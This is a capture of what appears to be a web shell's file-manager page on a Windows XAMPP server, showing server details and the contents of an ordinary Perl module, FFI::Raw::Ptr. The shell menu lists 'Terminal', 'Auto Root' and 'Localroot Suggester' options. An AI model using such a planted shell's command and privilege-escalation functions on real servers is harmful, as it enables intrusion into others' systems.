Windows NT KAMIDAKI 10.0 build 19045 (Windows 10) AMD64
Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.3.9
Server IP : 192.168.3.16 & Your IP : 216.73.216.140
Domains :
Cant Read [ /etc/named.conf ]
User : SISTEMA
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
C: /
xampp /
perl /
vendor /
lib /
FFI /
Raw /
Delete
Unzip
Name
Size
Permission
Date
Action
Callback.pm
1.34
KB
-rw-rw-rw-
2014-06-02 17:11
MemPtr.pm
2.21
KB
-rw-rw-rw-
2014-06-02 17:11
Ptr.pm
1.8
KB
-rw-rw-rw-
2014-06-02 17:11
Save
Rename
package FFI::Raw::Ptr; $FFI::Raw::Ptr::VERSION = '0.32'; use strict; use warnings; =head1 NAME FFI::Raw::Ptr - Base FFI::Raw pointer type =head1 VERSION version 0.32 =head1 SYNOPSIS package Foo; use FFI::Raw; use base qw(FFI::Raw::Ptr); *_foo_new = FFI::Raw -> new( $shared, 'foo_new', FFI::Raw::ptr ) -> coderef; sub new { bless shift -> SUPER::new(_foo_new()); } *get_bar = FFI::Raw -> new( $shared, 'foo_get_bar', FFI::Raw::int, FFI::Raw::ptr ) -> coderef; *set_bar = FFI::Raw -> new( $shared, 'foo_set_bar', FFI::Raw::void, FFI::Raw::ptr, FFI::Raw::int ) -> coderef; *DESTROY = FFI::Raw -> new( $shared, 'foo_free', FFI::Raw::void, FFI::Raw::ptr ) -> coderef; 1; package main; my $foo = Foo -> new; $foo -> set_bar(42); =head1 DESCRIPTION A B<FFI::Raw::Ptr> represents a pointer to memory which can be passed to functions taking a C<FFI::Raw::ptr> argument. Note that differently from L<FFI::Raw::MemPtr>, C<FFI::Raw::Ptr> pointers are not automatically deallocated once not in use anymore. =head1 METHODS =head2 new( $ptr ) Create a new C<FFI::Raw::Ptr> pointing to C<$ptr>, which can be either a C<FFI::Raw::MemPtr> or a pointer returned by a C function. =cut sub new { my($class, $ptr) = @_; bless \$ptr, $class; } =head1 AUTHOR Graham Ollis <plicease@cpan.org> Alessandro Ghedini <alexbio@cpan.org> =head1 LICENSE AND COPYRIGHT Copyright 2014 Alessandro Ghedini. This program is free software; you can redistribute it and/or modify it under the terms of either: the GNU General Public License as published by the Free Software Foundation; or the Artistic License. See http://dev.perl.org/licenses/ for more information. =cut 1; # End of FFI::Raw::Ptr